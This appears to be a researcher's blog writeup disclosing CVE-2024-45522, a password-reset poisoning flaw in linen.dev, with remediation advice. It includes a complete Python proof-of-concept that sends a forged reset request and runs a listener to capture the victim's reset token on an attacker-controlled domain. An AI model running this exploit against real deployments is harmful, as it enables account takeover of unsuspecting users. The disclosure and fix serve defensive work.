WE DON’T EVEN KNOW EITHER WE DON’T EVEN KNOW EITHER WE DON’T EVEN KNOW EITHER WE DON’T EVEN KNOW EITHER WE DON’T EVEN KNOW EITHER WE DON’T EVEN KNOW EITHER WE DON’T EVEN KNOW EITHER WE DON’T EVEN KNOW EITHER
linen.dev Account Takeover – CVE-2024-45522
3 min read
Avatar of jakesss jakesss
Table of Contents

As I delved deeper and deeper into the world of capture the flag competitions, I soon got interested in doing research on real world applications. While exploring various Github repos, I came across linen.dev, and discovered this account takeover vulnerability. Though the CVSS score is much higher than it should be, the CVE entry is available here.

Summary

An attacker can supply an arbitrary domain in the origin key of a post request to /api/forgot-password. This allows an attacker to set the domain of a password reset link, allowing them to steal the victim’s password reset token. Note: this does require user to click the link sent to their email. The origin provided in the post request is passed straight into the ResetPasswordMailer function call. Note: Works for both account types(password and passwordless)

Explanation

On line 9, a email and origin key are taken straight from a post request and directly passed into the ResetPasswordMailer.send() function on line 32: image

Our origin is passed into ReserPasswordMailer.send() as host, which is part of the URL being created on line 12: image

Here’s how the email will look with a modified origin: image

And the post request used to trigger the password reset: image

Proof of Concept

The following proof of concept script can be ran to automatically exploit the application and steal the victims password reset token:

import requests
import argparse
from pwn import *

def parse_arguments():
    """Parse command line arguments."""
    parser = argparse.ArgumentParser(description='linen.dev 1.0.0 Account Takeover (Note: POC only supports HTTP)')
    parser.add_argument("host", help="Application ip/port (e.g., http://blah.com:80)")
    parser.add_argument("domain", help="Domain to send credentials to")
    parser.add_argument("email", help="Email of the victim")
    return parser.parse_args()

def send_email(host, domain, email):
    """Send an email reset request."""
    headers = {'Host': host, 'Content-Type': 'text/plain;charset=UTF-8'}
    data = {"email": email, "origin": domain}
    response = requests.post(f'{host}/api/forgot-password', headers=headers, json=data, verify=False)
    return response.status_code

def receive_http_line(domain):
    """Receive HTTP line using pwntools."""
    port = int(domain.split(':')[1])

    #Disable logs
    context.log_level = 'error'

    server = listen(port, "0.0.0.0")
    conn = server.wait_for_connection()
    message = conn.recvline().decode()
    path = message.split(" ")[1][1:]  # Parse the HTTP path
    return requests.utils.unquote(path)

def main():
    args = parse_arguments()
    status_code = send_email(args.host, args.domain, args.email)
    if status_code != 200:
        print("[-] Email failed to send")
        return
    print("[-] Email sent successfully")
    print("[-] Waiting for victim to click the url...")
    try:
        result = receive_http_line(args.domain)
        print(f'[-] Victim clicked the url! The password reset link for {args.email} is below:')
        print(f'{args.host}/{result}') 
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    main()

Output: image

Remediation Suggestions

Modify the forgot-password page to not accept the origin from the POST request body. You could do this by setting a “ROOT_URL” variable in the application’s .env file, then modify the call to ResetPasswordMailer.send as such:

await ResetPasswordMailer.send({
  to: email,
  host: process.env.ROOT_URL,
  token,
});

This was my first CVE discovery; it has inspired me to continue my research into different applications. I’ll post more writeups about other CVE’s I’ve discovered in the near future.